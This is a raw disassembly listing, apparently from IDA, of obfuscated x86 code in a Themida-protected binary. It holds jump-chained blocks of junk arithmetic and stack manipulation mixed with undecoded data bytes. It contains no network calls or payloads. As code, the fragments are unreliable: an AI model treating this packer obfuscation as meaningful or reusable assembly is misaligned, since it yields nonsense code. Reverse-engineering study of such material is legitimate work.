		dd 59FFFFCCh, 5B2434FFh, 3104C483h, 242C8BE8h, 4C481h
		dd 0A4E90000h, 10000BEh, 0BB5358C2h, 4,	0FF7D55E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5590ED:				; CODE XREF: Themida_:00555ADDj
		push	ecx
		jmp	loc_54FA76
; ---------------------------------------------------------------------------


loc_5590F3:				; CODE XREF: Themida_:00559634j
		push	ebp
		push	edi
		mov	edi, ebx
		jmp	loc_5619F1
; ---------------------------------------------------------------------------
		dd 8324348Bh, 0EC8304C4h, 242C8904h, 0C581E589h, 4, 4ED81h
		dd 2C330000h, 242C3124h, 0E9242C33h, 0FFFFC1F2h, 0E9241C8Bh
		dd 0B975h, 0E14E2BFh, 9CEF817Ah, 813FD57Ah, 464509F7h
		dd 51A1E90Ah, 3C680000h, 5B08537Ch, 0FFABC3E9h,	5CB951FFh
		dd 81372E0Fh, 111DF5E9h, 0EC82E96Ch, 6859FFFFh,	2B59h
		dd 54240C89h, 9C02E9h, 0C8B6600h, 96D5E924h, 0C380FFFFh
		dd 5FB45055h, 8002E4C0h, 0ECC064F4h, 6C48008h, 0CC80CCFEh
		dd 46F480ACh, 8B58E328h, 22E92404h, 83FFFFE8h, 1C8904ECh
		dd 81E38924h, 4ECh, 240C8900h, 115468h,	8A12E900h, 0DE010000h
		dd 0ACA6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5591BD:				; CODE XREF: Themida_:005622ECj
		add	edx, ecx
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_561280
; ---------------------------------------------------------------------------
		db 89h
		dd 0B951242Ch, 25801FD9h, 242C8B51h, 4C481h, 0C8B0000h
		dd 0E6895624h, 4C681h, 0C6830000h, 66E95604h
		db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5591F3:				; CODE XREF: Themida_:00563448j
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55C798
; ---------------------------------------------------------------------------


loc_559205:				; CODE XREF: Themida_:005539FDj
		mov	ecx, 652904B5h
		neg	ecx
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_556FAE
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0C6810000h, 4, 0E9243487h, 7A17h, 8C79E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559232:				; CODE XREF: Themida_:005569B5j
		add	ebx, edi
		pop	edi
		add	eax, ebx
		pop	ebx
		add	eax, edi
		push	esi
		mov	esi, 1A3D39D8h
		sub	esi, 0ED3CBCD7h
		sub	eax, esi
		jmp	loc_56313C
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 1Ch
		dd 66B36824h, 2BE97412h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55925B:				; CODE XREF: Themida_:00564FDAj
		push	36CCh
		mov	[esp], esi
		push	small 36A9h
		mov	si, [esp]
		add	esp, 2
		push	di
		mov	di, 58Dh
		xor	si, di
		pop	di
		push	bp
		mov	bp, 4FBBh
		add	si, 62EAh
		sub	si, bp
		sub	si, 62EAh
		pop	bp
		push	di
		mov	di, 7DDEh
		add	si, di
		pop	di
		jmp	loc_5638A7
; ---------------------------------------------------------------------------
		dw 8F66h
		dd 6570E902h, 0FF52FFFFh, 0E9042474h, 0FFFF94F7h, 7B0311B8h
		dd 5959E967h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5592BA:				; CODE XREF: Themida_:005556A5j
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_554C56
; ---------------------------------------------------------------------------


loc_5592D9:				; CODE XREF: Themida_:00553B78j
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_554939
; ---------------------------------------------------------------------------
		db 9
		dd 24048BC5h, 4C481h, 0E5E90000h, 54FFFF8Fh, 0C25FE958h
		dd 48BFFFFh, 6C8A6824h,	4890000h, 65AD6824h, 0AEE90000h
		dd 81FFFFE5h, 4C7h, 4C78100h, 87000000h, 0F35C243Ch, 386203A5h
		dd 3066850h, 0C5E97B1Eh, 0B6FFFF7Ch, 0FEC6FE99h, 34EE80CEh
		dd 7CBDE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559356:				; CODE XREF: Themida_:0054FB32j
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4D3B15C3h
		jmp	loc_5503B6
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 0ED81DDF7h, 77045905h, 0FF70FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559381:				; CODE XREF: Themida_:0055B911j
		mov	dx, [esp]
		push	edi
		push	esp
		pop	edi
		push	esi
		push	edx
		mov	edx, 13AC3BF9h
		sub	edx, 0BD34DDDFh
		mov	esi, edx
		pop	edx
		neg	esi
		inc	esi
		xor	esi, 9661EC1h
		add	esi, 24C20CFBh
		neg	esi
		push	eax
		jmp	loc_55F53C
; ---------------------------------------------------------------------------
		db 0B8h
		dd 20896C17h, 3158C189h, 5904244Ch, 0E92434FFh,	0FFFFC666h
		dd 0E941D1F7h, 4956h
; ---------------------------------------------------------------------------


loc_5593CC:				; CODE XREF: Themida_:0055F4F7j
		push	edx
		mov	edx, 2856003Ch
		shr	edx, 3
		push	ecx
		push	ebp
		mov	ebp, 70F455C8h
		add	ebp, 4BC00253h
		add	ebp, 434BA7E4h
		jmp	loc_55408D
; ---------------------------------------------------------------------------


loc_5593ED:				; CODE XREF: Themida_:0054FFBAj
		sub	eax, 10DD4535h
		push	dword ptr [esp]
		pop	ebx
		push	edx
		jmp	loc_55AC9B
; ---------------------------------------------------------------------------
		dd 0E904C283h, 6A10h
; ---------------------------------------------------------------------------


loc_559404:				; CODE XREF: Themida_:0055A31Ej
		mov	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_559620
; ---------------------------------------------------------------------------


loc_55940E:				; CODE XREF: Themida_:0055E295j
		mov	edx, [esp]
		add	esp, 4
		sub	ebp, 6CDE737Eh
		push	edx
		mov	edx, ebp
		mov	ebx, edx
		pop	edx
		jmp	loc_56201E
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 72h
		dd 29035727h, 72C181F1h, 5E035727h, 0B9C1815Ah,	0FF6ABB6Fh
		dd 505E2434h, 18E9E089h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559447:				; CODE XREF: Themida_:005528F1j
		pop	esp
		jmp	loc_55B4F8
; ---------------------------------------------------------------------------


loc_55944D:				; CODE XREF: Themida_:00559F37j
		push	eax
		mov	eax, 4C804445h
		mov	ecx, eax
		pop	eax
		dec	ecx
		and	ecx, 185F4E97h
		shr	ecx, 3
		jmp	loc_5508A7
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 81241489h, 4ECh, 24248900h, 1757E9h,	0D9C38100h, 10BFF6Ah
		dd 0D9EB81CBh, 0E90BFF6Ah, 0FFFF825Fh, 4C481h, 48F0000h
		dd 4C10E924h, 842D0000h, 2D64990Ah, 55130391h, 9105F801h
		dd 5551303h, 64990A84h,	0FF8DE5E9h, 2434FFFFh, 4C4815Bh
		dd 55000000h, 0FFB9D1E9h, 4EB83FFh, 6C96E9h, 0F6F38800h
		dd 0A9D3E9D3h, 595BFFFFh, 815AF188h, 4ECh, 24148900h, 0C9E998B2h
		dd 0C1FFFF80h, 0E5C107EDh, 0D0F79503h, 0A5ED8195h, 29BAAE72h
		dd 0E8295DE8h, 0A4E1E9h
		db 0
; ---------------------------------------------------------------------------


loc_559505:				; CODE XREF: Themida_:00553962j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5EC403BFh
		add	edx, 0FFFFFFFFh
		push	edx
		add	dword ptr [esp], 0FFFFFFFFh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		mov	eax, 73C385Ch
		shr	eax, 2
		sub	eax, 43767E40h
		not	eax
		or	eax, 6372A52h
		jmp	loc_55DACD
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 2C4h, 6753E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55954E:				; CODE XREF: Themida_:005620F8j
		xchg	ebx, [esp]
		pop	esp
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_54F816
; ---------------------------------------------------------------------------


loc_55955B:				; CODE XREF: Themida_:00562AB0j
		and	ecx, esi
		jmp	loc_55F176
; ---------------------------------------------------------------------------


loc_559562:				; CODE XREF: Themida_:0055F416j
		sub	esp, 4
		mov	[esp], edx
		push	767B6AAEh
		push	dword ptr [esp]
		pop	edx
		push	3A1Dh
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 1CF80AACh
		dec	ebx
		jmp	loc_551736
; ---------------------------------------------------------------------------
		db 2Dh,	0D4h, 15h
		dd 0D001234Dh, 8732E9h,	24048700h, 6624248Bh, 9C240431h
		dd 0FF626DE9h, 4C481FFh, 33000000h, 1C31241Ch, 9FEEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5595BA:				; CODE XREF: Themida_:0055B3ACj
		sub	edi, 66407839h
		shl	edi, 6
		xor	edi, 0E208F184h
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 156E1509h
		sub	ecx, 0A176EB2h
		or	ecx, 75D53B16h
		jmp	loc_5622E2
; ---------------------------------------------------------------------------


loc_5595E8:				; CODE XREF: Themida_:0055ADADj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
		dd 9747A205h, 0C20AE902h, 0D15BFFFFh, 0EFBA52E8h, 0E9E05BF4h
		dd 0FFFFFF6Dh
; ---------------------------------------------------------------------------


loc_559620:				; CODE XREF: Themida_:00559409j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	esi
		jmp	loc_5590F3
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4C2h, 24148700h, 2068575Ch, 89000019h, 0AEE92414h
		dd 8100002Fh, 4C5h, 4ED8300h, 5C242C87h, 83242489h, 5B042404h
		dd 113BB951h, 0E9814623h, 507B640Fh, 6906E9h
		db 0
; ---------------------------------------------------------------------------


loc_55967D:				; CODE XREF: Themida_:005507A5j
		add	edi, esi
		add	edi, 3ADD363Ch
		jmp	loc_551EBA
; ---------------------------------------------------------------------------


loc_55968A:				; CODE XREF: Themida_:005516E6j
		mov	esi, 61BB5F95h
		jmp	loc_560727
; ---------------------------------------------------------------------------


loc_559694:				; CODE XREF: Themida_:0055A121j
		xor	ecx, 28104C1Bh
		sub	ecx, 15872D03h
		dec	ecx
		shr	ecx, 1
		add	ecx, 9CFEB1FFh
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		sub	ebx, 25FC1189h
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esi, 4
		jmp	loc_559F94
; ---------------------------------------------------------------------------
		db 0BFh, 1Ch, 79h
		dd 0A1687F5Fh, 89000068h, 0DDBA2414h, 815D2F19h, 376C99F2h
		dd 21F28129h, 816CA95Ah, 1C2h, 9FE1E900h, 5A540000h, 0FFCE5BE9h
		dd 4C481FFh, 0E9000000h, 0FFFF6112h, 4C481h, 0F8E90000h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55970F:				; CODE XREF: Themida_:00555B65j
		add	esp, 4
		push	edx
		jmp	loc_55DFCA
; ---------------------------------------------------------------------------
		db 28h
		dd 665966CAh, 8CEA8059h, 8904EC83h, 81B3241Ch, 9C0CE9h
		db 0
; ---------------------------------------------------------------------------


loc_559731:				; CODE XREF: Themida_:005597B5j
		not	ebp
		sub	ebp, 6AAA4265h
		shr	ebp, 6
		xor	ebp, 6289066Eh
		add	eax, ebp
		pop	ebp
		push	ebx
		mov	ebx, 44F67D60h
		add	ebx, 12874875h
		jmp	loc_5601E9
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 9932E9h, 0E9D00000h, 4FFBh, 272EC681h, 0EE81683Bh
		dd 57D10562h, 0C681CE01h, 57D10562h, 5DEBB850h,	47250EEFh
		dd 0C1240E24h, 2E3508E0h, 81663F64h, 5A6EF2EEh,	50C6296Fh
		dd 5A6EF2B8h, 73AFE96Fh, 0E268FFFFh, 8900000Ah,	0A3E92424h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5597AF:				; CODE XREF: Themida_:0055729Ej
		push	ebp
		mov	ebp, 7AC24546h
		jmp	loc_559731
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 5CA2307h, 0EA81FA29h, 5CA2307h, 6C31BE56h, 0E6C140B0h
		dd 9ED0E907h, 0C1580000h, 0BF5703EDh, 52431012h, 0A941E9h
		dd 24343100h, 0E9243433h, 0FFFF72B3h
; ---------------------------------------------------------------------------


loc_5597F0:				; CODE XREF: Themida_:0055D4BCj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		push	ebx
		mov	ebx, 27731B42h
		mov	edi, ebx
		pop	ebx
		xor	ebp, edi
		pop	edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_550D54
; ---------------------------------------------------------------------------
		db 58h,	87h, 2Ch
		dd 3CD35C24h, 0F3E99C24h, 89FFFF5Fh, 0EC81242Ch, 4, 0BA241489h
		dd 14675774h, 47BCF281h, 0F281187Bh, 0C1C10CAh,	0D7E95D52h
		dd 81FFFF95h, 0F89652E9h, 9170E994h, 14B90000h,	4143B04Ch
		dd 4034C981h, 0E9815B06h, 0DD94E025h, 8359C821h, 9EE9FFC0h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55986F:				; CODE XREF: Themida_:0055CD70j
		push	esp
		jmp	loc_557C90
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 7AC4h, 4EC8352h,	52240C89h, 212303BAh, 5B90B915h
		dd 0D1315CDCh, 7C28E95Ah, 77FF0000h, 0E9505138h, 0FFFFFB0Bh
		dd 24048F5Eh, 0FF24248Bh, 0C8B2434h, 90DDE924h,	0D9310000h
		dd 4304E9h
		db 0
; ---------------------------------------------------------------------------


loc_5598BD:				; CODE XREF: Themida_:00552A4Ej
		dec	eax
		neg	eax
		or	eax, 62E207B3h
		jmp	loc_55245E
; ---------------------------------------------------------------------------
		dw 2C68h
		dd 89000000h, 0C3E9243Ch
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5598D7:				; CODE XREF: Themida_:005588F2j
		pop	eax
		add	ecx, 44AF147Bh
		or	edi, ecx
		mov	ecx, [esp]
		push	esi
		jmp	loc_557011
; ---------------------------------------------------------------------------
		db 47h,	0F7h, 0DFh
aGswz		db 'Gw',0
		align 2
		dw 0E953h
		dd 1FA6h
; ---------------------------------------------------------------------------


loc_5598F8:				; CODE XREF: Themida_:00552DCAj
		mov	[esp], edi
		mov	edi, 0E71214h
		add	[esp+4], edi
		push	dword ptr [esp]
		jmp	loc_556290
; ---------------------------------------------------------------------------
		dd 0B7241C89h, 7EFC0BAh, 0D7F6DFF6h, 0C7FEC7FEh, 8EF80h
		dd 0E5C05BFDh, 0B8C58004h, 8059EF08h, 0EC2C89C7h, 0FFEA85E9h
		dd 0B3EA81FFh, 5108B50Bh, 89D08950h, 7760E9C1h,	0C1810000h
		dd 4, 0E9240C87h, 0FFFFB96Dh
; ---------------------------------------------------------------------------


loc_559954:				; CODE XREF: Themida_:0055A486j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	27ACh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_553F5E
; ---------------------------------------------------------------------------
		dd 2E9E929h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559977:				; CODE XREF: Themida_:00558EB8j
		xor	[esp], ecx
		jmp	loc_55B0F0
; ---------------------------------------------------------------------------
		db 40h
		dd 0B6A3A92Dh, 7075E9DBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55998A:				; CODE XREF: Themida_:00550057j
		push	6420C87h
		pop	ebx
		shr	ebx, 3
		xchg	eax, ebx
		not	eax
		xchg	eax, ebx
		or	ebx, 0F0826E3h
		jmp	loc_55FE98
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 5C24048Fh,	0E92424D3h, 0FFFF5E62h,	8B241C87h
		dd 1C892424h, 1BC3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5599C2:				; CODE XREF: Themida_:0055E8B5j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shl	eax, cl
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_553771
; ---------------------------------------------------------------------------


loc_5599EE:				; CODE XREF: Themida_:00564798j
		pop	eax
		push	7796h
		mov	[esp], ecx
		push	eax
		mov	eax, 2E87131Ah
		and	eax, 377A66DBh
		inc	eax
		shl	eax, 3
		sub	esp, 4
		jmp	loc_56207B
; ---------------------------------------------------------------------------
		db 0BBh, 24h, 0
		dd 0E9570000h, 0FFFFB120h
; ---------------------------------------------------------------------------


loc_559A1C:				; CODE XREF: Themida_:00559D50j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_55AD4F
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 895AD589h, 0C630E9EAh, 0C701FFFFh, 5FFA8958h, 34FFD001h
		dd 0E9505A24h, 27AFh, 805AD528h, 0EB28E0EDh, 592434FFh
		dd 81E28952h, 4C2h, 4C28300h, 8917E9h
		db 0
; ---------------------------------------------------------------------------


loc_559A79:				; CODE XREF: Themida_:0055AE91j
		push	edx
		mov	edx, 31A2F99h
		jmp	loc_55DFF4
; ---------------------------------------------------------------------------
		dd 35B5BB53h, 72E96D8Ch
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559A8F:				; CODE XREF: Themida_:00554486j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		jmp	loc_562767
; ---------------------------------------------------------------------------


loc_559AA1:				; CODE XREF: Themida_:00562CCCj
		pop	edi
		xor	edi, 4C6C6DDEh
		xor	edi, 0CD721343h
		sub	eax, 315043C2h
		jmp	loc_55B57B
; ---------------------------------------------------------------------------
		dd 5866C530h, 8B59EB28h, 0C4812414h, 4,	0E9C0B60Fh, 230Eh
		dd 0F74FDFF7h, 31E952D7h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559ADB:				; CODE XREF: Themida_:005523E7j
		push	ebx
		mov	ebx, 18671996h
		jmp	loc_55FED4
; ---------------------------------------------------------------------------
		dw 0E1F7h
		dd 8904EC83h, 5954240Ch, 4EC81h, 3C890000h, 40446824h
		dd 0C890000h, 105CE924h, 0AB680000h, 8900001Dh,	4BA2414h
		dd 0E9000000h, 1F9h
; ---------------------------------------------------------------------------


loc_559B18:				; CODE XREF: Themida_:005575F7j
		sub	ebp, 53CDB4F2h
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 51278D1h
		and	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_554620
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 4C4815Ch, 0E9000000h, 0A29Dh, 0E920A705h, 35E8D106h
		dd 65116CD8h, 0FF782CE9h, 4C783FFh, 5C243C87h, 0C8BC830h
		dd 0D176E924h, 48BFFFFh, 4C48324h, 8B66E800h, 8951240Ch
		dd 4C181E1h, 83000000h,	0C8702C1h, 0D7E95C24h, 8B00003Ch
		dd 0C892424h, 0AA2FE924h, 0C7810000h, 79A979AEh, 4BA5259h
		dd 1000000h, 0FF575AD7h, 5F042474h, 0E924048Fh,	1C16h
; ---------------------------------------------------------------------------


loc_559BB8:				; CODE XREF: Themida_:00555FB6j
		movzx	ax, byte ptr [eax]
		push	small 5738h
		mov	[esp], ax
		jmp	loc_54F816
; ---------------------------------------------------------------------------


loc_559BC9:				; CODE XREF: Themida_:0056063Bj
		sub	ebx, 57F83866h
		and	ebx, 6BEA26C8h
		inc	ebx
		sub	ebx, 20C5C7A0h
		add	esi, ebx
		jmp	loc_555B6A
; ---------------------------------------------------------------------------


loc_559BE3:				; CODE XREF: Themida_:0055E056j
		or	ecx, 6FD23CA5h
		push	ebp
		mov	ebp, 3EF60552h
		shr	ebp, 8
		xor	ebp, 76321ED8h
		shr	ebp, 5
		add	ebp, 31C1F79Ch
		sub	ecx, ebp
		jmp	loc_54FBE2
; ---------------------------------------------------------------------------
		dd 8324048Bh, 3DE904C4h, 0D00003Eh, 317E493Bh, 1753E940h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559C1E:				; CODE XREF: Themida_:00558F59j
		add	esp, 4
		not	ch
		sub	ch, 1
		sub	ch, 0F0h
		jmp	loc_564A83
; ---------------------------------------------------------------------------


loc_559C31:				; CODE XREF: Themida_:0055B5E3j
		mov	ebp, 66F033BFh
		shr	ebp, 1
		sub	ebp, 7A067FE8h
		push	esi
		push	ebx
		jmp	loc_5636DE
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0A7h
		dd 121FB41h, 9125E9D6h,	89560000h, 4C681E6h, 81000000h
		dd 4EEh, 24343300h, 33243431h, 22E92434h, 81FFFF99h, 6B6015F5h
		dd 4E5C143h, 152E956h, 8B660000h, 568240Ch, 89000048h
		dd 0FF54240Ch, 0E9592434h, 6505h, 0C181C101h, 51BD04FFh
		dd 224EE958h, 0CAFE0000h, 1BEDE953h, 8B660000h,	0EC83240Ch
		dd 24348904h, 0B850E689h, 4, 0A636E9h, 81505700h, 4ECh
		dd 243C8900h, 1372E9h, 0C0CF8100h, 0E905E91Ah, 0FFFFF118h
		dd 0C12AC381h, 0E381E16Bh, 2C6D29F4h, 9D03E956h, 0E95A0000h
		dd 76D9h
; ---------------------------------------------------------------------------


loc_559CF4:				; CODE XREF: Themida_:0055A81Dj
		mov	ebp, 407C1935h
		sub	dword ptr [esp+4], 0A9B2563h
		sub	[esp+4], ebp
		jmp	loc_5523A4
; ---------------------------------------------------------------------------
a1S_0		db '1',0Ah
		db '',0
		dd 7E676800h, 34890000h, 7084E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559D1E:				; CODE XREF: Themida_:0056383Cj
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	ebp, [esp]
		pop	esp
		sub	[esp+4], ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_559A1C
; ---------------------------------------------------------------------------
		db 29h,	0C8h, 8Bh
		dd 0C481240Ch, 4, 5C240487h, 0E9241C89h, 0FFFFE972h
; ---------------------------------------------------------------------------


loc_559D6C:				; CODE XREF: Themida_:00563946j
		sub	ebx, eax
		pop	eax
		sub	esi, 7FE55CD5h
		sub	esi, ebx
		add	esi, 7FE55CD5h
		pop	ebx
		jmp	loc_5584DD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89572424h, 0F1E953E7h, 5600005Ah, 0D4258C68h, 7F0EE937h
		dd 0BE560000h, 4, 4247401h, 614EE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559DAA:				; CODE XREF: Themida_:0055D388j
		sub	esp, 4
		mov	[esp], ebx
		push	3B79h
		push	esp
		jmp	loc_55EA90
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F74608E6h, 6452E9D6h, 0D6F7FFFFh, 0E902EEC1h, 0FFFF92B7h
		dd 311EC2BEh, 4E6C11Bh,	0B833F681h, 0F5318881h,	0E924348Bh
		dd 0A4DDh, 3651BE56h, 0F6813D87h, 62461298h, 0FF6A5EE9h
		dd 4C483FFh, 5D5C842Dh,	57F80120h, 34A9E951h, 0C4830000h
		dd 7DE95804h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559E13:				; CODE XREF: Themida_:0055B98Fj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_56159A
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 4BA525Bh, 1000000h, 4875AD0h, 24248B24h, 2474FF56h
		dd 24348B04h, 53E18951h, 4BE56h, 0F3890000h, 0C6CBE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559E4E:				; CODE XREF: Themida_:005531D0j
		xor	ecx, 11045600h
		jmp	loc_55D186
; ---------------------------------------------------------------------------


loc_559E59:				; CODE XREF: Themida_:0055E985j
		push	3DBC2FDFh
		pop	eax
		and	eax, 5C8469B1h
		jmp	loc_55E557
; ---------------------------------------------------------------------------
		db 0BAh, 9Bh, 36h
		dd 0E94A37E2h, 0FFFF9342h
; ---------------------------------------------------------------------------


loc_559E74:				; CODE XREF: Themida_:00555C30j
		mov	[esp], ax
		jmp	loc_54F816
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 0FFE6C8E9h, 0E95046FFh, 0FFFFD603h, 0B171E95Eh, 0C368FFFFh
		dd 89000061h, 39B82404h, 94CF106h, 0CD8158C5h, 44BF7F3Bh
		dd 248BB951h, 0CD29080Eh, 8BE83159h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5534B7
; ---------------------------------------------------------------------------
		dw 1C33h
aSj		db '$j/',0
		align 2
		dw 7968h
		dd 5F4F5974h, 8305EFC1h, 0EF83FFEFh, 0FDF78101h, 892CEFA1h
		dd 2B85E9F8h, 10680000h, 0E9000042h, 0FFFF68CAh, 0EF80E728h
		dd 0F830581Bh, 241C8B66h, 0E904EC83h, 0FFFF818Fh, 31243433h
		dd 34332434h, 118CE924h, 4200000h, 0FBE99C24h
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559F1B:				; CODE XREF: Themida_:005619ECj
		add	esp, 4
		or	eax, eax
		jmp	loc_55439E
; ---------------------------------------------------------------------------


loc_559F25:				; CODE XREF: Themida_:005521B7j
		push	ax
		push	edx
		jmp	loc_563059
; ---------------------------------------------------------------------------
		db 1, 0D3h, 0E9h
		dd 0FFFF8987h
; ---------------------------------------------------------------------------


loc_559F34:				; CODE XREF: Themida_:00554ADBj
		add	ebx, ecx
		push	ecx
		jmp	loc_55944D
; ---------------------------------------------------------------------------


loc_559F3C:				; CODE XREF: Themida_:00556D8Ej
		push	3EF0h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 561F5B81h
		jmp	loc_560A2D
; ---------------------------------------------------------------------------
		dd 0FDCEA81h, 0E2C13340h, 1EE95005h, 66000034h,	8324048Bh
		dd 0C1E904ECh, 5B00001Dh, 0DA90EE81h, 0F1318A6Ah, 464DE95Eh
		dd 0F8310000h, 0E945955Fh, 0FFFF8311h
; ---------------------------------------------------------------------------


loc_559F94:				; CODE XREF: Themida_:005596C4j
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_553B15
; ---------------------------------------------------------------------------


loc_559FA7:				; CODE XREF: Themida_:0055D44Bj
		pop	esp
		mov	[esp], esi
		mov	esi, 2E5A1AF2h
		shl	esi, 3
		jmp	loc_562E21
; ---------------------------------------------------------------------------


loc_559FB8:				; CODE XREF: Themida_:005539CEj
		add	eax, 2D5A491Bh
		jmp	loc_5523D3
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 81000000h, 1F4061EAh, 55FA0119h, 31E28BDh, 0EAF58159h
		dd 0E930F853h, 0A3BAh
; ---------------------------------------------------------------------------


loc_559FE0:				; CODE XREF: Themida_:00552622j
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ebp
		push	ecx
		jmp	loc_55E7EE
; ---------------------------------------------------------------------------
		dw 0BBBh
		dd 43372E50h, 0EBC1DBF7h, 18F38108h, 810CF01Fh,	13B188F3h
		dd 5BDF29E7h, 0CD81E957h, 8B66FFFFh, 7368241Ch,	8900007Eh
		dd 0E2892414h, 4C281h, 0C2810000h, 2, 8B241487h, 1C302424h
		dd 241C3224h, 0E9241C30h, 0FFFF57D6h, 895DEF89h, 9CE95FFAh
		dd 89FFFF77h, 2CBD242Ch, 56773E41h, 5CFDE9h, 39CA8100h
		dd 0C1675E45h, 0EA8103E2h, 3F496339h, 0F281D2F7h, 59760E31h
		dd 63E2CA81h, 0EAC1652Fh, 79F28104h, 81399D82h,	586250C6h
		dd 81D60160h, 586250EEh, 24148B60h, 4C481h, 0C6010000h
		dd 3D7E68h, 242C8900h, 8904EC83h, 168241Ch, 5B03C328h
		dd 0FF63B5E9h, 71B652FFh, 1801E9h, 4EC8100h, 89000000h
